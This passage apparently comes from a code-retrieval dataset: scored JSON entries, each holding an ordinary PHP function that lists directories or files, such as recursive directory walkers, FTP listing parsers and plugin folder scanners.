on\n if ($col == $maxColumns) {\n $directoryList .= \"\\n </tr>\";\n ++$row;\n $col = 0;\n } else {\n ++$col;\n }\n }\n\n // If there aren't any subfolders to look at, then just say so.\n \n ///fix undefine $directoryList:apiruk\n $directoryList = (isset($directoryList)) ? $directoryList : '';\n ///fix undefine $directoryList:apiruk\n \n if ($directoryList == '' || ereg('<tbody>$', $directoryList)) {\n return 'NULL';\n } elseif (!eregi('</tr>$', $directoryList)) {\n // Stick a </tr> on the end if it isn't there already, and close\n // the table.\n $directoryList .= \"\\n </tr>\\n </tbody></table>\";\n } else {\n // Close the table.\n $directoryList .= \"\\n </tbody></table>\";\n }\n\n return $directoryList;\n\n}", "title": "" }, { "docid": "874348e71fcb516314f8c755d994056e", "score": "0.6156351", "text": "private function _getDirs()\n {\n $dir = trim(self::getSetting('FOG_PLUGINSYS_DIR'));\n if ($dir != '../lib/plugins/') {\n self::setSetting('FOG_PLUGINSYS_DIR', '../lib/plugins/');\n $dir = '../lib/plugins/';\n }\n $patternReplacer = function ($element) {\n return preg_replace('#config/plugin\\.config\\.php$#i', '', $element[0]);\n };\n $regext = '#^.+/config/plugin\\.config\\.php$#i';\n $RecursiveDirectoryIterator = new RecursiveDirectoryIterator(\n $dir,\n FileSystemIterator::SKIP_DOTS\n );\n $RecursiveIteratorIterator = new RecursiveIteratorIterator(\n $RecursiveDirectoryIterator\n );\n $RegexIterator = new RegexIterator(\n $RecursiveIteratorIterator,\n $regext,\n RegexIterator::GET_MATCH\n );\n $files = iterator_to_array($RegexIterator, false);\n unset(\n $RecursiveDirectoryIterator,\n $RecursiveIteratorIterator,\n $RegexIterator\n );\n $files = array_map($patternReplacer, (array) $files);\n natcasesort($files);\n $files = array_filter($files);\n $files = array_unique($files);\n $files = array_values($files);\n\n return $files;\n }", "title": "" }, { "docid": "ad015baf208de925b5e53556d40f4c2d", "score": "0.61349833", "text": "public function getFilePaths(): array;", "title": "" }, { "docid": "4704012cc37fdf48b3331f562a646cab", "score": "0.61267376", "text": "public function getFileList()\n { \n $folders;\n $files;\n\n DropGalleryMain::debug(\"Start get files\");\n\n if ( ! file_exists($this->galleryPath) ) \n {\n echo \"File not found: \".$this->galleryPath;\n return;\n\n }elseif( ! is_dir($this->galleryPath))\n {\n\n echo \"Path not a folder: \".$this->galleryPath;\n return;\n }\n \n $galdir = new DirectoryIterator($this->galleryPath);\n foreach( $galdir as $entry )\n { \n if ( ! $entry->isDot() ) \n {\n if ( $entry->isFile() )\n {\n\n\t\t \t$id=$this->quickhash($this->galleryPath.'/'.$entry->getFilename());\n\t\t \t$newFileTest = $this->db->checkForQuickHash($id);\n\t\t \tif($newFileTest)\n\t\t \t{\n\t\t \t\t$this->addNewFile($id,$entry->getFilename());\n\t\t \t}\n\n\t\t \t$this->dirContents[] = $this->getFileInfo($id,$entry->getFilename());\n\t\t \t\n\n }\n elseif( $entry->isDir() )\n {\n \n //--Generate sub-folder list\n $folderItems = 0;\n $subdir = new DirectoryIterator($this->galleryPath.'/'.$entry);\n foreach( $subdir as $subentry )\n { \n if ( ! $subentry->isDot() ) \n {\n $folderItems++;\n }\n }\n unset($subdir);\n $this->dirSubFolders[] = array( \n 'name' => basename($subentry->getPath()),\n 'numItems' => $folderItems\n \n );\n }\n }\n }\n\n DropGalleryMain::debug(\"End get files\");\n }", "title": "" }, { "docid": "0afd138576680ec9f96a73e11715435f", "score": "0.6088886", "text": "private static function defaultWritableDirs()\n {\n $names = array('data/cache', 'data/indexes', 'data/logs', 'data/sessions', 'data/uploads', 'temp');\n $writables = array();\n foreach ($names as $name) {\n $path = APPLICATION_PATH . \"/../$name\";\n if (is_dir($path)) {\n $writables[] = $path;\n }\n }\n return $writables;\n }", "title": "" }, { "docid": "af21a8b26af7b15d41e263cf7018adf7", "score": "0.60760605", "text": "static function List() : array\n\t{\n\t\t//\t...\n\t\trequire_once(__DIR__.'/function/RootPath.php');\n\t\treturn RootPath();\n\n\t\t//\t...\n\t\treturn self::$_ROOTS;\n\t}", "title": "" }, { "docid": "0560b03e5997ab08ca8a8d2f7867e05c", "score": "0.607327", "text": "function dir_list ($directory) \n{\n\n // create an array to hold directory list\n $results = array();\n\n // create a handler for the directory\n $handler = opendir($directory);\n\n // keep going until all files in directory have been read\n while ($file = readdir($handler)) {\n\n // if $file isn't this directory or its parent, \n // add it to the results array\n if ($file != '.' && $file != '..')\n $results[filemtime($directory.\"/\".$file)] = $file;\n }\n\n // tidy up: close the handler\n closedir($handler);\n krsort($results);\n\n // done!\n return $results;\n\n}", "title": "" }, { "docid": "fcd69e51c79d25b4d31ed3ca806e5553", "score": "0.6062282", "text": "function listDir(PhingFile $f) {\n $strPath = (string) $f->getAbsolutePath();\n $d = @dir($strPath);\n if (!$d) {\n return null;\n }\n $list = array();\n while($entry = $d->read()) {\n if ($entry != \".\" && $entry != \"..\") {\n array_push($list, $entry);\n }\n }\n $d->close();\n unset($d);\n return $list;\n }", "title": "" }, { "docid": "704e8b7b25664ec32c253198174db200", "score": "0.60603565", "text": "private function directory_paths($srcdir){\r\n\t\r\n\t\tstatic $filepaths, $root_folder;\r\n\r\n //preparing the paths\r\n $srcdir=rtrim($srcdir,'/');\r\n\t\t\r\n\t\tif(!is_array($filepaths)) $filepaths = array();\r\n\t\tif(!isset($root_folder)) $root_folder = $srcdir;\r\n \r\n //Mapping the directory\r\n $dir_map=directory_map($srcdir);\r\n\r\n foreach($dir_map as $object_key=>$object_value)\r\n {\r\n\t\t\r\n\t\t\t// make sure you NEVER have docket folders in your core update or it will blow up here\r\n\t\t\tif(is_numeric($object_key)){ \r\n\t\t\t\t$filepaths[] = str_replace($root_folder,\"\",$srcdir).'/'.$object_value;\r\n\t\t\t}else{\r\n\t\t\t\t$this->directory_paths($srcdir.'/'.$object_key);//this is a dirctory\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $filepaths;\r\n\t\t\t\t\r\n }", "title": "" }, { "docid": "769860b9f42ef9de15097cf4203898a1", "score": "0.6041883", "text": "function get_dirlist_folders($currDir, $relDir){\n\tif(dirCheck($currDir))\n\t{\n\t\t$dh = opendir($currDir);\n\t\twhile ($file = readdir($dh))\n\t\t{\n\t\t\t$tempfilearray[] = $file;\n\t\t}\n\t\tclosedir($dh);\n\n\t\tnatcasesort($tempfilearray); //sorts array alphabetically\n\t\t\t\n\t\t$filearray = array_slice($tempfilearray, 0); //reassigns array keys so directory list will be alphabetical\n\t\t\n\t\t\n\t\tfor($a=0;$a<count($filearray);$a++)\n\t\t{\n\t\t\tif(is_dir($currDir.\"/\".$filearray[$a]))\n\t\t\t{\n\t\t\t\t$filenum++;\n\t\t\t}\n\t\t}\n\t\tif ($relDir && !strstr($relDir,'.')){\n\t\t\t\techo \"<li><a href=\\\"javascript: navigate('\".preg_replace('/\\/[^\\/]*\\/$/','',$currDir).\"/','\".preg_replace('/[^\\/]*\\/$/','',$relDir).\"');\\\"><strong>\" . \"Back\" . \"</strong></a></li><br />\";\n\t\t\t\t\n\t\t}\n\t\tif($filenum > 2)\n\t\t{\t\n\t\techo \"<script type='text/javascript'>\n Droppables.drops = [];Draggables.drags=[];\n</script>\";\n\t\t\tfor($i=0; $i < count($filearray); $i++)\n\t\t\t{\n\t\t\t\tif ($filearray[$i] != \".\" && $filearray[$i] != \"..\")\n\t\t\t\t{\n\t\t\t\t\tif(is_dir($currDir.\"/\".$filearray[$i]))\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\techo \"<li id='\".$relDir.$filearray[$i].\"/'>\n\t\t\t\t\t\t\t\t<a href=\\\"javascript:delPopUp('\".str_replace(\"_\", \" \", $filearray[$i]).\"','\".$relDir.\"');\\\" onclick=\\\"return dragCheck('\".$relDir.$filearray[$i].\"/');\\\"><img src=\\\"img/delete.png\\\" alt=\\\"delete\\\" title=\\\"delete\\\"></a>\";\n\t\t\t\t\t\t\t\techo \"<a href=\\\"javascript:renPopUp('\".str_replace(\"_\", \" \", $filearray[$i]).\"','\".$relDir.\"')\\\" onclick=\\\"return dragCheck('\".$relDir.$filearray[$i].\"/');\\\"><img src=\\\"img/folder_rename.png\\\" alt=\\\"rename\\\" title=\\\"rename\\\"></a>\";\n\t\t\t\t\t\t\t\techo \"<a href=\\\"javascript:navigate('\".$currDir.$filearray[$i].\"/','\".$relDir.$filearray[$i].\"/')\\\" onclick=\\\"return dragCheck('\".$relDir.$filearray[$i].\"/');\\\" ><strong>\" . str_replace(\"_\", \" \", $filearray[$i]) . \"</strong></a></li>\\n\";\n\t\t\t\t\t\t\t\techo \"<script type='text/javascript'>dragDrop('\".$relDir.$filearray[$i].\"/','droppable');</script>\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"<li>There are no directories in this folder</li>\";\n\t\t}\n\t}\n\telse\n\t{\n\t\techo \"<p>That directory is restricted for security purposes.</p>\";\n\t}\n}", "title": "" }, { "docid": "583435f83efc15300518ffec9bbdfdf1", "score": "0.6032457", "text": "function aws_dirs($roses_id,$pi_name) {\n if (!valid_str($roses_id) || !valid_str($pi_name)) return [];\n $lws_dir=\"/\".$roses_id.\"/\".$pi_name.\"/\";\n $top_dir=aws_top();\n $upload_dir=$top_dir.\"uploaded\".$lws_dir;\n $confirm_dir=$top_dir.\"confirmed\".$lws_dir;\n $vet_dir=$top_dir.\"vetted\".$lws_dir;\n $del_dir=$top_dir.\"deleted\".$lws_dir; \n $stage_dir=$top_dir.\"staged\".$lws_dir;\n \n $dirs=array('uploaded' => $upload_dir, 'confirmed' => $confirm_dir, 'vetted' => $vet_dir, 'deleted' => $del_dir, 'staged' => $stage_dir);\t\n return $dirs;\n}", "title": "" }, { "docid": "cf188b9b2e4c693c07e40618fa0c7853", "score": "0.6025151", "text": "function createFileFolderArrayWin($ftp_rawlist,$type) {\n\t\n\t// Go through array of files/folders\n\tforeach($ftp_rawlist AS $ff) {\n\t\t\n\t\t// Split up array into values\n\t\t$ff = preg_split(\"/[\\s]+/\",$ff,4);\n\t\t\t\n\t\t$date = $ff[0];\n\t\t$time = $ff[1];\n\t\t$size = $ff[2];\n\t\t$file = $ff[3];\n\t\t\n\t\tif ($size == \"<DIR>\") $size = \"d\";\n\t\t\n\t\t// Format date\n\t\t$day = substr($date,3,2);\n\t\t$month = substr($date,0,2);\n\t\t$year = substr($date,6,2);\n\t\t$date = formatFtpDate($day,$month,$year);\n\t\t\n\t\t// Format time\n\t\t$time = formatWinFtpTime($time);\n\t\t\n\t\t// Add folder to array\n\t\tif ($size == \"d\") {\n\t\t\t$foldAllAr[] = $file.\"|d|\".$date.\"|\".$time.\"|||\";\n\t\t\t$foldNameAr[] = $file;\n\t\t\t$foldDateAr[] = $date;\n\t\t\t$foldTimeAr[] = $time;\n\t\t}\n\t\t\n\t\t// Add file to array\n\t\tif ($size != \"d\") {\n\t\t\t$fileAllAr[] = $file.\"|\".$size.\"|\".$date.\"|\".$time.\"|||\";\n\t\t\t$fileNameAr[] = $file;\n\t\t\t$fileSizeAr[] = $size;\n\t\t\t$fileDateAr[] = $date;\n\t\t\t$fileTimeAr[] = $time;\n\t\t}\n\t}\n\t\n\t// Check there are files and/or folders to display\n\tif (is_array($foldAllAr) || is_array($fileAllAr)) {\n\t\n\t\t// Set sorting order\n\t\tif ($_POST[\"sort\"] == \"\")\n\t\t\t$sort = \"n\";\n\t\telse\n\t\t\t$sort = $_POST[\"sort\"];\n\t\t\n\t\tif ($_POST[\"ord\"] == \"\")\n\t\t\t$ord = \"asc\";\n\t\telse\n\t\t\t$ord = $_POST[\"ord\"];\n\t\t\n\t\t// Return folders\n\t\tif ($type == \"folders\") {\n\t\t\n\t\t\tif (is_array($foldAllAr)) {\n\t\t\t\t\n\t\t\t\t// Set the folder arrays to sort\n\t\t\t\tif ($sort == \"n\") $sortAr = $foldNameAr;\n\t\t\t\tif ($sort == \"d\") $sortAr = $foldDateAr;\n\t\t\t\tif ($sort == \"t\") $sortAr = $foldTimeAr;\n\t\t\t\t\n\t\t\t\t// Multisort array\n\t\t\t\tif (is_array($sortAr)) {\n\t\t\t\t\tif ($ord == \"asc\")\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_ASC, $foldAllAr);\n\t\t\t\t\telse\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_DESC, $foldAllAr);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Format and display folder content\n\t\t\t\t$folders = getFileListHtml($foldAllAr, \"icon_16_folder.gif\");\n\t\t\t}\n\t\t\t\n\t\t\treturn $folders;\n\t\t}\n\t\t\n\t\t// Return files\n\t\tif ($type == \"files\") {\n\t\t\n\t\t\tif (is_array($fileAllAr)) {\n\t\t\t\n\t\t\t\t// Set the folder arrays to sort\n\t\t\t\tif ($sort == \"n\") $sortAr = $fileNameAr;\n\t\t\t\tif ($sort == \"s\") $sortAr = $fileSizeAr;\n\t\t\t\tif ($sort == \"d\") $sortAr = $fileDateAr;\n\t\t\t\tif ($sort == \"t\") $sortAr = $fileTimeAr;\n\t\t\t\t\n\t\t\t\t// Multisort folders\n\t\t\t\tif ($ord == \"asc\")\n\t\t\t\t\tarray_multisort($sortAr, SORT_ASC, $fileAllAr);\n\t\t\t\telse\n\t\t\t\t\tarray_multisort($sortAr, SORT_DESC, $fileAllAr);\n\t\t\t\t\n\t\t\t\t// Format and display file content\n\t\t\t\t$files = getFileListHtml($fileAllAr, \"icon_16_file.gif\");\n\t\t\t}\n\t\t\t\n\t\t\treturn $files;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "dad5eee99c9094f3a7a5eb944e675f78", "score": "0.60203075", "text": "private function dirToArray($dir) {\n\n $result = array();\n\n $cdir = scandir($dir);\n foreach ($cdir as $key => $value)\n {\n if (!in_array($value,array(\".\",\"..\")))\n {\n if (is_dir($dir . DIRECTORY_SEPARATOR . $value))\n {\n $result[$value] = self::dirToArray($dir . DIRECTORY_SEPARATOR . $value);\n }\n else\n {\n $result[] = $value;\n }\n }\n }\n\n return $result;\n }", "title": "" }, { "docid": "558b88f78e43c6228e5efc73a093b99c", "score": "0.60197043", "text": "function listDirTree( $dirName = null )\r\n{\r\n\tif( empty( $dirName ) )\r\n\t\texit( \"IBFileSystem: directory is empty.\" );\r\n\tif( is_dir( $dirName ) ){\r\n\t\tif( $dh = opendir( $dirName ) ){\r\n\t\t\t$tree = array();\r\n\t\t\twhile( ( $file = readdir( $dh ) ) !== false ){\r\n\t\t\t\tif( $file != \".\" && $file != \"..\" ){\r\n\t\t\t\t\t$filePath = $dirName . \"/\" . $file;\r\n\t\t\t\t\tif( is_dir( $filePath ) ) {\r\n\t\t\t\t\t\t$tree[$file] = listDirTree( $filePath );\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t\t$tree[] = $file;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir( $dh );\r\n\t\t}else{\r\n\t\t\texit( \"IBFileSystem: can not open directory $dirName.\");\r\n\t\t}\r\n\t\t\r\n\t\treturn $tree;\r\n\t}else{\r\n\t\texit( \"IBFileSystem: $dirName is not a directory.\");\r\n\t}\r\n}", "title": "" }, { "docid": "395270f935b7e17bea5851200ee2ab62", "score": "0.6017739", "text": "function ls_a($wh)\n{ \n\t$files = '';\n\tif ($handle = opendir($wh)) {\n\t\twhile (false !== ($file = readdir($handle))) { \n\t\t\tif ($file != \".\" && $file != \"..\" ) { \n\t\t\t\tif($files == '')\n\t\t\t\t\t$files = \"$file\";\n\t\t\t\telse\n\t\t\t\t\t$files = \"$file\\n$files\"; \n\t\t\t} \n\t\t}\n\t\tclosedir($handle); \n\t}\n\t$arr = explode(\"\\n\",$files);\n\treturn $arr;\n}", "title": "" }, { "docid": "9100d2d2fa7e39b70438694c0928d945", "score": "0.6011287", "text": "private function dirToArray ($dir) {\n\t\t$result = array();\n\t\t\n\t\t$cdir = scandir($dir);\n\t\tforeach ($cdir as $key => $value) {\n\t\t\tif (!in_array ($value, array ('.', '..'))) {\n\t\t\t\tif (is_dir ($dir . DIRECTORY_SEPARATOR . $value)) {\n\t\t\t\t\t$result[$value] = $this->dirToArray ($dir . DIRECTORY_SEPARATOR . $value);\n\t\t\t\t} else {\n\t\t\t\t\t$result[] = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ($result);\n\t}", "title": "" }, { "docid": "d38bbd44ffbab17b73e9de4040a459e5", "score": "0.60101855", "text": "function recursive_listdir( $base, &$node) {\n\t\tstatic $filelist = array();\n\t\tstatic $dirlist = array();\n\t\tif (is_dir( $base)) {\n\t\t\t$dh = opendir( $base);\n\t\t\tif ($dh != false) {\n\t\t\t\twhile ( false !== ( $dir = readdir( $dh ))) {\n\t\t\t\t\tif (is_dir( $base.\"/\".$dir) && $dir !== '.' && $dir !== '..' && strtolower($dir) !== 'cvs') {\n\t\t\t\t\t\t$subbase = $base.\"/\".$dir;\n\t\t\t\t\t\t$key = ltrim(str_replace(JPATH_ROOT, '', $subbase), \"\\\\\");\n\t\t\t\t\t\t// $$$ hugh - think it needs to remove the / as well or we get // prepended to path\n\t\t\t\t\t\t// $dirlist[$key] = str_replace($node->attributes('directory'), '', $key);\n\t\t\t\t\t\t$dirlist[$key] = str_replace($node->attributes('directory') . '/', '', $key);\n\t\t\t\t\t\t$subdirlist = $this->recursive_listdir( $subbase, $node);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tclosedir( $dh);\n\t\t\t}\n\t\t}\n\t\treturn $dirlist;\n\t}", "title": "" }, { "docid": "c35cc3d01e9edf875c3495a28fd9eb6f", "score": "0.6003016", "text": "function getListFiles() {\n $rii_ = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('./EMRDelegator/tests/EMRAdminTest/unit/tests'));\n // files in directory\n $files_ = array();\n foreach ($rii_ as $file) {\n\n if ($file->isDir()){\n continue;\n }\n $files_[] = $file->getPathname();\n }\n return $files_;\n }", "title": "" }, { "docid": "b981a3253c8904197e28b8279ed0bfb5", "score": "0.5996751", "text": "public function getFileList() {\n\n $fileList = scandir(self::SKIN_FOLDER_PATH);\n\n foreach ($fileList as $file) {\n\n if (!is_dir($file))\n $result[self::SKIN_FOLDER_PATH . '/' . $file] = $file;\n }\n\n return $result;\n }", "title": "" }, { "docid": "c187f913f15e573d453cce48d0662429", "score": "0.5986606", "text": "protected function ShowDirectories()\n {\n $aScanlisting = scandir($this->sImportFolder);\n $dirlisting = array();\n $this->data['dirListing'] = $dirlisting;\n $bFilesInRootDirFound = false;\n $keyCount = 0;\n $iRootDirFilesCount = 0;\n foreach ($aScanlisting as $key => $file) {\n if (is_dir($this->sImportFolder.'/'.$file) && '.' != $file && '..' != $file && '.' != substr($file, 0, 1)) {\n ++$keyCount;\n $aScanlistingSubDir = scandir($this->sImportFolder.'/'.$file);\n $count = (count($aScanlistingSubDir) - 2);\n $aDir = array();\n $aDir['directory'] = $file;\n $aDir['filecount'] = $count;\n $this->data['dirListing'][$keyCount] = $aDir;\n } elseif (is_file($this->sImportFolder.'/'.$file) && '.' != $file && '..' != $file && '.' != substr($file, 0, 1)) {\n $bFilesInRootDirFound = true;\n ++$iRootDirFilesCount;\n }\n }\n\n if ($bFilesInRootDirFound) { // add base directory as a possible import directory\n $aDir['directory'] = 'base';\n $aDir['filecount'] = $iRootDirFilesCount;\n $this->data['dirListing'][0] = $aDir;\n }\n }", "title": "" }, { "docid": "1986b211aa7a59788152bc6a309176ad", "score": "0.5975599", "text": "function list_files() {\n return array();\n }", "title": "" }, { "docid": "ae9b5db1ecf0b5afc2ee926bc6702b78", "score": "0.5969331", "text": "public function getNonPlanetItemsDirectoryList()\n {\n if (null === $this->rootDir) {\n throw new Uni2Exception(\"Root dir not set\");\n }\n $ret = [];\n $scanner = new DirScanner();\n $scanner->scanDir($this->rootDir, function ($path, $rPath, $level) use (&$ret) {\n\n $file = basename($rPath);\n if (\"universe-dependency-marker.txt\" === $file) {\n $ret[] = dirname($rPath);\n }\n });\n return $ret;\n }", "title": "" }, { "docid": "bfc782564fd1db364c0205a2f9ae1271", "score": "0.59659016", "text": "public function getFilemanagerDirectories($path) {\n $directories = [];\n\n switch ($path) {\n case '':\n case '/':\n $directories[] = (object)[\n 'name' => 'Fotogalerie',\n 'path' => '/photogallery'\n ];\n $directories[] = (object)[\n 'name' => 'Nahrané',\n 'path' => '/uploaded'\n ];\n break;\n }\n\n return $directories;\n }", "title": "" }, { "docid": "306b834f2b8003a1005fad3e1cd19bce", "score": "0.5945043", "text": "private function do_tree_list() {\n $this->check_login();\n // paths from content directory\n $paths = array('');\n $iter = new RecursiveIteratorIterator(\n new RecursiveDirectoryIterator(CONTENT_DIR, RecursiveDirectoryIterator::SKIP_DOTS),\n RecursiveIteratorIterator::SELF_FIRST,\n RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore \"Permission denied\"\n );\n $prefix_length = strlen(CONTENT_DIR);\n foreach ($iter as $path => $dir) {\n if ($dir->isDir()) {\n $paths[] = substr($path, $prefix_length);\n }\n }\n\n // paths from media directory\n $media_dir = $this->setting('media_dir');\n $iter = new RecursiveIteratorIterator(\n new RecursiveDirectoryIterator($media_dir, RecursiveDirectoryIterator::SKIP_DOTS),\n RecursiveIteratorIterator::SELF_FIRST,\n RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore \"Permission denied\"\n );\n $prefix_length = strlen($media_dir) + 1;\n $versions = $this->get_image_versions(TRUE, TRUE);\n foreach ($iter as $path => $dir) {\n if (in_array($dir->getFilename(), $versions)) continue; // skip version directories\n if ($dir->isDir()) {\n $paths[] = substr($path, $prefix_length);\n }\n }\n\n // only keep unique set\n $paths = array_unique($paths);\n\n // get information for each path\n $list = array();\n foreach ($paths as $p){\n $content = 0;\n $media = 0;\n $files = array();\n // over content\n foreach(scandir(CONTENT_DIR . $p) as $fname){\n $file = CONTENT_DIR . $p . '/' . $fname;\n if(is_file($file) && self::endsWith($file, CONTENT_EXT))\n ++$content;\n }\n // over content\n foreach(scandir($media_dir . '/' . $p) as $fname){\n $file = $media_dir . '/' . $p . '/' . $fname;\n if(!is_dir($file))\n ++$media;\n }\n $list[$p] = array(\n 'content' => $content,\n 'media' => $media\n );\n }\n\n die(json_encode($list));\n }", "title": "" }, { "docid": "250f414ae88bad5c1c1dd9002535e6af", "score": "0.59423417", "text": "public function getDirs(): array\n {\n return [\n 'core/lib/Drupal',\n ];\n }", "title": "" }, { "docid": "3b428a3e5e6ddd0765f2ea7560ed0ed4", "score": "0.5939629", "text": "function haproxy_get_fileslist() {\n\t$result = array();\n\tglobal $config;\n\t// create a copy to not modify the original 'keyless' array\n\t$a_files = getarraybyref($config, 'installedpackages', 'haproxy', 'files', 'item');\n\tforeach($a_files as $file) {\n\t\t$key = $file['name'];\n\t\t$result[$key] = $file;\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "9d9ab392002c2227b5572f4fa23998cd", "score": "0.59325784", "text": "function getDirList($dirname)\r\n{\r\n $dirlist = array();\r\n if ($handle = opendir($dirname)) {\r\n while ($file = readdir($handle)) {\r\n if ($file{0} != '.' && is_dir($dirname . $file)) {\r\n $dirlist[] = $file;\r\n }\r\n }\r\n closedir($handle);\r\n asort($dirlist);\r\n reset($dirlist);\r\n }\r\n return $dirlist;\r\n}", "title": "" }, { "docid": "cfd478fb2ae29d8890f788ce354b5dfc", "score": "0.59253037", "text": "public function getNodeDirs();", "title": "" }, { "docid": "7032f6dae39878251e7767b4bb2105e0", "score": "0.59173965", "text": "function listar_archivos($dirname=\".\") {\r\n\t\t$i=0;\r\n\t\tif($handle = opendir($dirname)) {\r\n\t\t\twhile(false !== ($file = readdir($handle))) {\r\n\t\t\t\tif (($file!='..') && ($file!='.') && ($file!='Thumbs.db')){\r\n\t\t\t\t\t$files[$i] = $file;\r\n\t\t\t\t\t$i++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir($handle);\r\n\t\t}\r\n\t\treturn($files);\r\n\t}", "title": "" }, { "docid": "b29c28c13f8c4a07c497414d227e5b51", "score": "0.5915863", "text": "function getTheHeraldsListFromDir($dir, $subdir) {\n\t$arrFileNames = scandir($dir.$subdir);\n\trsort($arrFileNames); // sort revers order, most recent first\n\t\n\t$base_url = site_url().\"/..\".$subdir;\t\n\t$arrData = array();\n\tforeach ($arrFileNames as $file) {\n\t\t$lcaseFile = strtolower($file); \n\t\tif (startsWith($lcaseFile,\"herald20\") && endsWith($file, \".pdf\")) {\n\t\t\t$fileInfo = pathinfo($dir.\"/\".$file);\n\t\t\t//var_dump($fileInfo);\n\t\t\t$fileName = $fileInfo[\"filename\"];\n\t\t\t$fileExt = $fileInfo[\"extension\"];\n\t\t\t$year = substr($fileName,6,4);\n\t\t\t$month = substr($fileName,10,2);\n\t\t\t//$dateObj = DateTime::createFromFormat('!m', $month);\n\t\t\t//$monthName = $dateObj->format('F');\t\t\t\n\t\t\t$info = substr($fileName,12,255);\n\t\t\t$info = ucwords(trim($info));\n\t\t\t\n\t\t\t$arrData[$file] = array();\n\t\t\t$arrData[$file][\"groupName\"] = $year;\n\t\t\t$arrData[$file][\"info\"] = $info;\n\t\t\t$arrData[$file][\"name\"] = \"Herald \".$year.\"/\".$month;\n\t\t\t$arrData[$file][\"link\"] = $base_url.\"/\".$fileName.\".\".$fileExt;\n\t\t}\n\t}\n\t\n\t//now build the correct list\n\t$arrGroup = array();\n\tforeach ($arrData as $fileData) {\n\t\t$groupName = $fileData[\"groupName\"];\n\t\tif (!isset($arrGroup[$groupName])) {\n\t\t\t$arrGroup[$groupName] = array();\n\t\t\t$arrGroup[$groupName][\"name\"] = $groupName;\n\t\t\t$arrGroup[$groupName][\"items\"] = array();\n\t\t}\n\t\t$idxItem = count($arrGroup[$groupName][\"items\"]);\n\t\t$idxItem++;\n\t\t$arrGroup[$groupName][\"items\"][$idxItem] = array();\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"name\"] = $fileData[\"name\"];\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"link\"] = $fileData[\"link\"];\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"info\"] = $fileData[\"info\"];\n\t}\n\t\n\t// make it a normal array, indexed by number\n\t$result = array();\n\t$idxGroup = 0;\n\tforeach ($arrGroup as $group) {\n\t\t$idxGroup++;\n\t\t$result[$idxGroup] = $group;\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "0f41ad32ba3cb73e2be455a3b84ea141", "score": "0.591557", "text": "public function listDirectory($dir);", "title": "" }, { "docid": "7902d2cf31f33369034571edd10286eb", "score": "0.5906934", "text": "private static function getFolderList() : string\n\t{\n\t\t$aeEvents = \\MarkNotes\\Events::getInstance();\n\t\t$aeSettings = \\MarkNotes\\Settings::getInstance();\n\n\t\t// The form will display the list of folders under\n\t\t// /docs so the user can make a full backup (/docs)\n\t\t// or a partial backup (only a subfolder)\n\n\t\t// Now, build the list of folders\n\t\t$arrFiles = array();\n\t\t$args=array(&$arrFiles);\n\t\t$aeEvents->loadPlugins('task.listfiles.get');\n\t\t$aeEvents->trigger('task.listfiles.get::run', $args);\n\n\t\t// $arrFiles contains the list of files => extract\n\t\t// folder names, make unique and sort the list\n\t\t$arrFolders = array_map('dirname', $arrFiles);\n\t\t$arrFolders = array_unique($arrFolders);\n\t\tnatcasesort($arrFolders);\n\n\t\t// Get the \"default_folder\" settings\n\t\t$docs = rtrim($aeSettings->getFolderDocs(false), DS);\n\t\t$default = self::getOptions('default_folder', $docs);\n\n\t\t$items = '';\n\t\tforeach ($arrFolders as $item) {\n\t\t\t$item = str_replace(DS, '/', $item);\n\t\t\t$selected = ($item === $default) ? 'selected=\"selected\"' : '';\n\t\t\t$items .= '<option data-value=\"'.$item.'\" '.$selected.'>'.\n\t\t\t\t$item.'</option>';\n\t\t}\n\n\t\treturn $items;\n\t}", "title": "" }, { "docid": "f1228599374187ea5f95861834627334", "score": "0.5887307", "text": "function dir_recursive($path, $list = array()) {\n\tif ($handle = opendir($path)) {\n\t\twhile (false !== ($entry = readdir($handle))) {\n\t\t\tif (is_dir(append_slash($path).$entry)) {\n\t\t\t\tif ($entry != \".\" && $entry != \"..\")\n\t\t\t\t\t$list = dir_recursive(append_slash($path).$entry, $list);\n\t\t\t} else {\n\t\t\t\t$list[] = append_slash($path).$entry;\n\t\t\t\tif (!(count($list)%25)) echo \"Listing...\\t\".count($list).PHP_EOL;\n\t\t\t}\n\t\t}\n\t\tclosedir($handle);\n\t}\n\treturn $list;\n}", "title": "" }, { "docid": "af8f99c02264194c42796501cee861ee", "score": "0.5885127", "text": "function PMBP_get_dirs($dir) {\n $dirs=FALSE;\n $dir_handle=@opendir($dir);\n while ($file=@readdir ($dir_handle)) {\n if ($file!=\".\" && $file!=\"..\") {\n if (@is_dir($dir.$file)) {\n $dirs[]=$file.\"/\";\n $tmp=PMBP_get_dirs($dir.$file.\"/\");\n if (is_array($tmp))\n\t\t\t\t\tforeach($tmp as $value) $dirs[]=$file.\"/\".$value;\n }\n }\n }\n return $dirs;\n}", "title": "" }, { "docid": "f43d017a8483153430cee3c461e5fb2e", "score": "0.5878852", "text": "public function remote_dirlist($args)\n\t{\n\t\t$args = $this->encryptParam($args);\n\t\t$this->add_enc_chk($args);\n\t\t$request = xmlrpc_encode_request(\"dirlist\",$args);\n\t\tif( !$response = $this->sendRequest($request))\n\t\t\treturn -1;\n\t\tif (is_array($response) && xmlrpc_is_fault($response))\n\t\t\treturn -3;\n\t\tif( $response < 0 )\n\t\t\treturn -2;\n\n\t\treturn explode(\";\", $response);\n\t}", "title": "" }, { "docid": "6850b06055ed3e9dbb1f864da37d7825", "score": 